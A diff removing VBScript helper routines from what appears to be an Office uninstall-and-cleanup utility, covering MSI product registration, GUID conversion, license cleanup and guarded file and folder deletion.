-    'If it's a non Office ProductCode exit with false right away
-    CheckDelete = InScope(sProductCode)
-    If Not CheckDelete Then Exit Function
-    If dictionaryKeepProd.Exists(UCase(sProductCode)) Then CheckDelete = False
-
-End Function 'CheckDelete
-'=======================================================================================================
-
-'Check if ProductCode is in scope
-Function InScope(sProductCode)
-
-    Dim fInScope
-    Dim sProd
-
-    fInScope = False
-    If Len(sProductCode) = 38 Then
-        sProd = UCase(sProductCode)
-        Select Case OVERSIONMAJOR
-        Case "11"
-            If Right(sProd,PRODLEN)=OFFICEID Then fInScope = True
-        Case "12"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
-        Case "14"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then fInScope = True
-        Case "15"
-            If Right(sProd,PRODLEN)=OFFICEID AND Mid(sProd,4,2) = OVERSIONMAJOR Then
-                Select Case Mid(sProd, 11, 4)
-                Case "007E", "008F", "008C", "24E1", "237A"
-                    ' C2R products - keep them
-                Case Else
-                    fInScope = True
-                End Select
-            End If
-        Case Else
-        End Select
-    End If '38
-
-    InScope = fInScope
-End Function 'InScope
-'=======================================================================================================
-
-'Register an orphaned .msi product as installed for MSI
-Sub MsiRegisterProduct (sMsiFile)
-
-    Dim sDisplayVersion, sCurKey, sDisplayName, sLang, sProductCode, sTmpKey
-    Dim iCnt
-
-    'Create a temporary keys to simulate an installed product
-    sProductCode = ""
-    sProductCode = GetMsiProductCode(sMsiFile)
-    sDisplayVersion = GetMsiProductVersion(sMsiFile)
-    If sDisplayVersion = "" Then sDisplayVersion = OVERSION & ".0000.0000"
-    sDisplayName = GetMsiProductName(sMsiFile)
-    If sDisplayName = "" Then sDisplayName = sProductCode
-    Select Case OVERSIONMAJOR
-    Case "9","10","11"
-        sLang = CInt("&h" & Mid(sProductCode,6,4))
-    Case "12","14"
-        sLang = CInt("&h" & Mid(sProductCode,16,4))
-    Case Else
-    End Select
-
-    For iCnt = 1 To 3
-        Select Case iCnt
-        Case 1
-            sCurKey = REG_ARP & sProductCode
-            oReg.CreateKey HKLM,sCurKey
-        Case 2
-            sCurKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\" & GetCompressedGuid(sProductCode)
-            oReg.CreateKey HKLM,sCurKey
-            oReg.CreateKey HKLM,sCurKey & "\Features"
-            oReg.CreateKey HKLM,sCurKey & "\InstallProperties"
-            oReg.CreateKey HKLM,sCurKey & "\Patches"
-            oReg.CreateKey HKLM,sCurKey & "\Usage"
-            sCurKey = sCurKey & "\InstallProperties"
-            oReg.SetStringValue HKLM,sCurKey,"LocalPackage",sMsiFile
-        Case 3
-            sCurKey = "Installer\Products\" & GetCompressedGuid(sProductCode)
-            sTmpKey = sCurKey
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetDWordValue HKCR,sCurKey,"AdvertiseFlags",388
-            oReg.SetDWordValue HKCR,sCurKey,"Assignment",1
-            oReg.SetDWordValue HKCR,sCurKey,"AuthorizedLUAApp",0
-            oReg.SetStringValue HKCR,sCurKey,"Clients",":"
-            oReg.SetDWordValue HKCR,sCurKey,"DeploymentFlags",3
-            oReg.SetDWordValue HKCR,sCurKey,"InstanceType",0
-            oReg.SetDWordValue HKCR,sCurKey,"Language",sLang
-            oReg.SetStringValue HKCR,sCurKey,"PackageCode",GetMsiPackageCode(sMsiFile)
-            oReg.SetStringValue HKCR,sCurKey,"ProductName",sDisplayName
-            oReg.SetDWordValue HKCR,sCurKey,"VersionMinor",0
-            sCurKey = sTmpKey & "\SourceList"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetExpandedStringValue HKCR,sCurKey,"LastUsedSource",sScrubDir
-            oReg.SetStringValue HKCR,sCurKey,"PackageName",Mid(sMsiFile,InstrRev(sMsiFile,"\")+1)
-            sCurKey = sTmpKey & "\SourceList\Media"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetStringValue HKCR,sCurKey,"1",OREF & ";1"
-            oReg.SetStringValue HKCR,sCurKey,"DiskPrompt",sDisplayName
-            sCurKey = sTmpKey & "\SourceList\Net"
-            oReg.CreateKey HKCR,sCurKey
-            oReg.SetExpandedStringValue HKCR,sCurKey,"1",sScrubDir
-
-        Case Else
-        End Select
-        If iCnt <3 Then
-            oReg.SetStringValue HKLM,sCurKey,"Comments",""
-            oReg.SetStringValue HKLM,sCurKey,"Contact",""
-            oReg.SetStringValue HKLM,sCurKey,"DisplayName",sDisplayName
-            oReg.SetStringValue HKLM,sCurKey,"DisplayVersion",sDisplayVersion
-            oReg.SetDWordValue HKLM,sCurKey,"EstimatedSize",0
-            oReg.SetStringValue HKLM,sCurKey,"HelpLink",""
-            oReg.SetStringValue HKLM,sCurKey,"HelpTelephone",""
-            oReg.SetStringValue HKLM,sCurKey,"InstallDate","20100101"
-            If f64 Then
-                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFilesX86
-            Else
-                oReg.SetStringValue HKLM,sCurKey,"InstallLocation",sProgramFiles
-            End If
-            oReg.SetStringValue HKLM,sCurKey,"InstallSource",sScrubDir
-            oReg.SetDWordValue HKLM,sCurKey,"Language",sLang
-            oReg.SetExpandedStringValue HKLM,sCurKey,"ModifyPath","MsiExec.exe /X" & sProductCode
-            oReg.SetDWordValue HKLM,sCurKey,"NoModify",1
-            oReg.SetStringValue HKLM,sCurKey,"Publisher","Microsoft Corporation"
-            oReg.SetStringValue HKLM,sCurKey,"Readme",""
-            oReg.SetStringValue HKLM,sCurKey,"Size",""
-            oReg.SetDWordValue HKLM,sCurKey,"SystemComponent",0
-            oReg.SetExpandedStringValue HKLM,sCurKey,"UninstallString","MsiExec.exe /X" & sProductCode
-            oReg.SetStringValue HKLM,sCurKey,"URLInfoAbout",""
-            oReg.SetStringValue HKLM,sCurKey,"URLUpdateInfo",""
-            oReg.SetDWordValue HKLM,sCurKey,"Version",0
-            oReg.SetDWordValue HKLM,sCurKey,"VersionMajor",OVERSIONMAJOR
-            oReg.SetDWordValue HKLM,sCurKey,"VersionMinor",0
-            oReg.SetDWordValue HKLM,sCurKey,"WindowsInstaller",1
-        End If '< 3
-    Next 'iCnt
-
-End Sub 'MsiRegisterProduct
-'=======================================================================================================
-
-'Obtain the ProductCode (GUID) from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductCode(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductCode = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductCode'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductCode = Record.StringData(1)
-    qView.Close
-
-End Function 'GetMsiProductCode
-'=======================================================================================================
-
-'Obtain the ProductVersion from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductVersion(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductVersion = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductVersion'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductVersion = Record.StringData(1)
-    qView.Close
-
-End Function 'GetMsiProductVersion
-'=======================================================================================================
-
-'Obtain the ProductVersion from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductName(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductName = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductName = Record.StringData(1)
-    qView.Close
-
-End Function 'GetMsiProductVersion
-'=======================================================================================================
-
-'Obtain the PackageCode (GUID) from a .msi package
-'The function will the .msi'S SummaryInformation stream
-Function GetMsiPackageCode(sMsiFile)
-
-    On Error Resume Next
-
-    Const PID_REVNUMBER = 9
-
-    GetMsiPackageCode = ""
-    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
-
-End Function 'GetMsiPackageCode
-'=======================================================================================================
-
-'Returns a string with a list of ProductCodes from the summary information stream
-Function MspTargets (sMspFile)
-    Const MSIOPENDATABASEMODE_PATCHFILE = 32
-    Const PID_TEMPLATE                  =  7
-
-    Dim Msp
-    'Non critical routine. Don't fail on error
-    On Error Resume Next
-    MspTargets = ""
-    If oFso.FileExists(sMspFile) Then
-        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
-        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
-    End If 'oFso.FileExists(sMspFile)
-End Function 'MspTargets
-'=======================================================================================================
-
-'Return the ProductCode {{GUID} from a .MSI package
-Function ProductCode(sMsi)
-    Const MSIUILEVELNONE = 2 'No UI
-    Dim MsiSession
-
-    On Error Resume Next
-    'Non critical routine. Don't fail on error
-    If oFso.FileExists(sMsi) Then
-        oMsi.UILevel = MSIUILEVELNONE
-        Set MsiSession = oMsi.OpenPackage(sMsi,1)
-        ProductCode = MsiSession.ProductProperty("ProductCode")
-        Set MsiSession = Nothing
-    Else
-        ProductCode = ""
-    End If 'oFso.FileExists(sMsi)
-End Function 'ProductCode
-'=======================================================================================================
-
-Function GetUpgradeCode(sGuid)
-
-    'Ensure Valid Length
-    If NOT Len(sGuid) = 38 Then Exit Function
-
-    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
-
-End Function 'GetUpgradeCode
-'=======================================================================================================
-
-Function GetExpandedGuid (sGuid)
-    Dim i
-
-    'Ensure valid length
-    If NOT Len(sGuid) = 32 Then Exit Function
-
-    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
-                       StrReverse(Mid(sGuid,9,4)) & "-" & _
-                       StrReverse(Mid(sGuid,13,4))& "-"
-    For i = 17 To 20
-	    If i Mod 2 Then
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
-	    Else
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
-	    End If
-    Next
-    GetExpandedGuid = GetExpandedGuid & "-"
-    For i = 21 To 32
-	    If i Mod 2 Then
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
-	    Else
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
-	    End If
-    Next
-    GetExpandedGuid = GetExpandedGuid & "}"
-End Function
-'=======================================================================================================
-
-'Converts a GUID into the compressed format
-Function GetCompressedGuid (sGuid)
-    Dim sCompGUID
-    Dim i
-
-    'Ensure Valid Length
-    If NOT Len(sGuid) = 38 Then Exit Function
-
-    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
-                StrReverse(Mid(sGuid,11,4)) & _
-                StrReverse(Mid(sGuid,16,4))
-    For i = 21 To 24
-	    If i Mod 2 Then
-		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
-	    Else
-		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
-	    End If
-    Next
-    For i = 26 To 37
-	    If i Mod 2 Then
-		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
-	    Else
-		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
-	    End If
-    Next
-    GetCompressedGuid = sCompGUID
-End Function
-'=======================================================================================================
-
-'Unsquish GUID
-Function GetDecodedGuid(sEncGuid, sGuid)
-
-Dim sDecode, sTable, sHex, iChr
-Dim arrTable
-Dim i, iAsc, pow85, decChar
-Dim lTotal
-Dim fFailed
-
-    fFailed = False
-
-    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
-                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
-                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
-                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
-                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
-                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
-                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
-                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
-    arrTable = Split(sTable,",")
-    lTotal = 0 : pow85 = 1
-    For i = 0 To 19
-        fFailed = True
-        If i Mod 5 = 0 Then
-            lTotal = 0 : pow85 = 1
-        End If ' i Mod 5 = 0
-        iAsc = Asc(Mid(sEncGuid,i+1,1))
-        sHex = arrTable(iAsc)
-        If iAsc >=128 Then Exit For
-        If sHex = "0xff" Then Exit For
-        iChr = CInt("&h"&Right(sHex,2))
-        lTotal = lTotal + (iChr * pow85)
-        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
-        pow85 = pow85 * 85
-        fFailed = False
-    Next 'i
-    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
-                                Mid(sDecode,13,4)&"-"& _
-                                Mid(sDecode,9,4)&"-"& _
-                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
-                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
-
-    GetDecodedGuid = NOT fFailed
-
-End Function 'GetDecodedGuid
-'=======================================================================================================
-
-'Convert a long decimal to hex
-Function DecToHex(lDec)
-
-    Dim sHex
-    Dim iLen
-    Dim lVal, lExp
-    Dim arrChr
-
-    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
-    sHex = ""
-    lVal = lDec
-    lExp = 16^10
-    While lExp >= 1
-        If lVal >= lExp Then
-            sHex = sHex & arrChr(Int(lVal / lExp))
-            lVal = lVal - lExp * Int(lVal / lExp)
-        Else
-            sHex = sHex & "0"
-            If sHex = "0" Then sHex = ""
-        End If
-        lExp = lExp / 16
-    Wend
-
-    iLen = 8 - Len(sHex)
-    If iLen > 0 Then sHex = String(iLen,"0") & sHex
-    DecToHex = sHex
-End Function
-'=======================================================================================================
-
-'Ensures that only valid metadata entries exist to avoid API failures
-Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
-
-Dim arrKeys
-Dim SubKey
-
-If Len(sKey) > 1 Then
-    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
-End If
-
-If RegEnumKey(hDefKey,sKey,arrKeys) Then
-    For Each SubKey in arrKeys
-        If NOT Len(SubKey) = iValidLength Then
-            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
-        End If
-    Next 'SubKey
-End If
-
-End Sub 'EnsureValidWIMetadata
-'=======================================================================================================
-
-'-------------------------------------------------------------------------------
-'   CleanOSPP
-'
-'   Clean out licenses from the Office Software Protection Platform
-'-------------------------------------------------------------------------------
-Sub CleanOSPP
-    Dim oProductInstances, pi
-    Dim sCleanOSPP, sCmd, sRetVal
-
-    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
-
-    sCleanOSPP = "x64\CleanOSPP.exe"
-    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
-    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
-        sCmd = sScriptDir & sCleanOSPP
-        Log "   Running: " & sCmd
-        On Error Resume Next
-        sRetVal = oWShell.Run(sCmd, 0, True)
-        Log "   Return value: " & sRetVal
-        On Error Goto 0
-        Exit Sub
-    End If
-
-    On Error Resume Next
-    ' Initialize the software protection platform object with a filter on Office 2013 products
-    If iVersionNT > 601 Then
-        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
-    Else
-        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
-    End If
-
-    ' Remove all licenses
-    For Each pi in oProductInstances
-        If NOT IsNull(pi) Then
-            pi.UninstallProductKey( pi.ProductKeyID)
-        End If
-    Next 'pi
-
-End Sub 'CleanOSPP
-'=======================================================================================================
-
-
-'Create a backup copy of the file in the ScrubDir then delete the file
-Sub CopyAndDeleteFile(sFile)
-    Dim File
-
-    'Error handling inlined
-    On Error Resume Next
-    If oFso.FileExists(sFile) Then
-        Set File = oFso.GetFile(sFile)
-        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
-        If Not fDetectOnly Then
-            LogOnly " - Backing up file: " & sFile
-            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
-            Set File = Nothing
-            DeleteFile(sFile)
-        Else
-            LogOnly " - Simulate CopyAndDelete file: " & sFile
-        End If
-    End If 'oFso.FileExists
-End Sub 'CopyAndDeleteFile
-'=======================================================================================================
-
-'Wrapper to delete a file
-Sub DeleteFile(sFile)
-    Dim File
-    Dim sFileName, sNewPath
-
-    On Error Resume Next
-
-    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFile
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFile
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-        End If
-    End If
-
-    If oFso.FileExists(sFile) Then
-        LogOnly " - Delete file: " & sFile
-        If Not fDetectOnly Then oFso.DeleteFile sFile,True
-        If Err <> 0 Then
-            CheckError "DeleteFile"
-            If fForce Then
-                'Try to move the file and delete from there
-                Set File = oFso.GetFile(sFile)
-                sFileName = File.Name
-                sNewPath = sScrubDir & "\ScrubTmp"
-                Set File = Nothing
-                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
-                'Move the file
-                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
-                oFso.MoveFile sFile,sNewPath & "\" & sFileName
-                If Err <> 0 Then
-                    CheckError "DeleteFile (move)"
-                End If 'Err <> 0
-            Else
-                fRebootRequired = True
-            End If 'fForce
-        End If 'Err <> 0
-    End If 'oFso.FileExists
-End Sub 'DeleteFile
-'=======================================================================================================
-
-'64 bit aware wrapper to return the requested folder
-Function GetFolderPath(sPath)
-    GetFolderPath = True
-    If oFso.FolderExists(sPath) Then Exit Function
-    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
-        sPath = Wow64Folder(sPath)
-        Exit Function
-    End If
-    GetFolderPath = False
-End Function 'GetFolderPath
-'=======================================================================================================
-
-'Enumerates subfolder names of a folder and returns True if subfolders exist
-Function EnumFolderNames (sFolder, arrSubFolders)
-    Dim Folder, Subfolder
-    Dim sSubFolders
-
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Name & ","
-        Next 'Subfolder
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Name & ","
-        Next 'Subfolder
-    End If
-    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
-    EnumFolderNames = Len(sSubFolders)>0
-End Function 'EnumFolderNames
-'=======================================================================================================
-
-'Enumerates subfolders of a folder and returns True if subfolders exist
-Function EnumFolders (sFolder, arrSubFolders)
-    Dim Folder, Subfolder
-    Dim sSubFolders
-
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Path & ","
-        Next 'Subfolder
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Path & ","
-        Next 'Subfolder
-    End If
-    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
-    EnumFolders = Len(sSubFolders)>0
-End Function 'EnumFolders
-'=======================================================================================================
-
-Sub GetMseFolderStructure (Folder)
-    Dim SubFolder
-
-    For Each SubFolder in Folder.SubFolders
-        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
-        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
-        GetMseFolderStructure SubFolder
-    Next 'SubFolder
-End Sub 'GetMseFolderStructure
-'=======================================================================================================
-
-'Wrapper to delete a folder
-Sub DeleteFolder(sFolder)
-    Dim Folder
-    Dim sDelFolder, sFolderName, sNewPath
-
-    'Ensure trailing "\"
-    sFolder = sFolder & "\"
-    While InStr(sFolder,"\\")>0
-        sFolder = Replace(sFolder,"\\","\")
-    Wend
-
-    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFolder
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFolder
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-        End If
-    End If
-
-    'Strip trailing "\"
-    If Len(sFolder) > 1 Then
-        sFolder = Left(sFolder,Len(sFolder)-1)
-    End If
-
-    On Error Resume Next
-    If oFso.FolderExists(sFolder) Then
-        sDelFolder = sFolder
-    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        sDelFolder = Wow64Folder(sFolder)
-    Else
-        Exit Sub
-    End If
-    If Not fDetectOnly Then
-        LogOnly " - Delete folder: " & sDelFolder
-        oFso.DeleteFolder sDelFolder,True
-    Else
-        LogOnly " - Simulate delete folder: " & sDelFolder
-    End If
-    If Err <> 0 Then
-        CheckError "DeleteFolder"
-        'Try to move the folder and delete from there
-        Set Folder = oFso.GetFolder(sDelFolder)
-        sFolderName = Folder.Name
-        sNewPath = sScrubDir & "\ScrubTmp"
-        Set Folder = Nothing
-        'Ensure we stay within the same drive
-        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
-        'Move the folder
-        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
-        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
-        If Err <> 0 Then
-            CheckError "DeleteFolder (move)"
-        End If 'Err <> 0
-    End If 'Err <> 0
-End Sub 'DeleteFolder
-'=======================================================================================================
-
-'Delete empty folder structures
-Sub DeleteEmptyFolders
-    Dim Folder
-    Dim sFolder
-
-    ' cosmetic' task don't fail on error
-    On Error Resume Next
-    If Not IsArray(arrDeleteFolders) Then Exit Sub
-    Log vbCrLf & "Empty Folder Cleanup"
-    For Each sFolder in arrDeleteFolders
-        If oFso.FolderExists(sFolder) Then
-            Set Folder = oFso.GetFolder(sFolder)
-            If CBool(Folder.Attributes AND 1024) Then
-                'exclude protected folder
-            Else
-                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                    Set Folder = Nothing
-                    SmartDeleteFolder sFolder
-                End If
-            End If
-        End If
-    Next 'sFolder
-    CheckError "DeleteEmptyFolders"
-    On Error Goto 0
-End Sub 'DeleteEmptyFolders
-'=======================================================================================================
-
-'Delete indivdual empty folder structures
-Sub DeleteEmptyFolder (sFolder)
-    Dim Folder
-
-    ' cosmetic' task don't fail on error
-    On Error Resume Next
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        If CBool(Folder.Attributes AND 1024) Then
-            'exclude protected folder
-        Else
-            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                Set Folder = Nothing
-                SmartDeleteFolder sFolder
-            End If
-        End If
-    End If
-
-    CheckError "DeleteEmptyFolder"
-    On Error Goto 0
-End Sub 'DeleteEmptyFolder
-'=======================================================================================================
-
-'Wrapper to delete a folder and remove the empty parent folder structure
-Sub SmartDeleteFolder(sFolder)
-    If oFso.FolderExists(sFolder) Then
-        If Not fDetectOnly Then
-            LogOnly "  Request SmartDelete for folder: " & sFolder
-            SmartDeleteFolderEx sFolder
-        Else
-            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
-        End If
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        If Not fDetectOnly Then
-            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
-            SmartDeleteFolderEx Wow64Folder(sFolder)
-        Else
-            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
-        End If
-    End If
-End Sub 'SmartDeleteFolder
-'=======================================================================================================
-
-'Executes the folder delete operation
-Sub SmartDeleteFolderEx(sFolder)
-    Dim Folder
-
-    On Error Resume Next
-    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
-    On Error Goto 0
-    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
-    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
-End Sub 'SmartDeleteFolderEx
-'=======================================================================================================
-
-'Adds the folder structure to the 'KeepFolder' dictionary
-Sub AddKeepFolder(sPath)
-
-    Dim Folder
-
-    'Ensure trailing "\"
-    sPath = LCase(sPath) & "\"
-    While InStr(sPath,"\\")>0
-        sPath = Replace(sPath,"\\","\")
-    Wend
-
-    If NOT dictionaryKeepFolder.Exists (sPath) Then
-        dictionaryKeepFolder.Add sPath,sPath
-    Else
-        Exit Sub
-    End If
-    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
-    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
-End Sub
-'=======================================================================================================
-
-'Handles additional folder-path operations on 64 bit environments
-Function Wow64Folder(sFolder)
-    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
-        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
-    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
-        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
-    Else
-        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
-    End If
-End Function 'Wow64Folder
-'=======================================================================================================
-
-Function HiveString(hDefKey)
-    On Error Resume Next
-    Select Case hDefKey
-        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
-        Case HKCU : HiveString = "HKEY_CURRENT_USER"
-        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
-        Case HKU  : HiveString = "HKEY_USERS"
-        Case Else : HiveString = hDefKey
-    End Select
-End Function
-'=======================================================================================================
-
-Function RegKeyExists(hDefKey,sSubKeyName)
-    Dim arrKeys
-    RegKeyExists = False
-    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
-End Function
-'=======================================================================================================
-
-Function RegValExists(hDefKey,sSubKeyName,sName)
-    Dim arrValueTypes, arrValueNames
-    Dim i
-
-    RegValExists = False
-    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
-    If sName = "" Then
-        RegValExists = True
-        Exit Function
-    End If
-    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
-        For i = 0 To UBound(arrValueNames)
-            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
-        Next
-    End If 'oReg.EnumValues
-End Function
-'=======================================================================================================
-
-'Read the value of a given registry entry
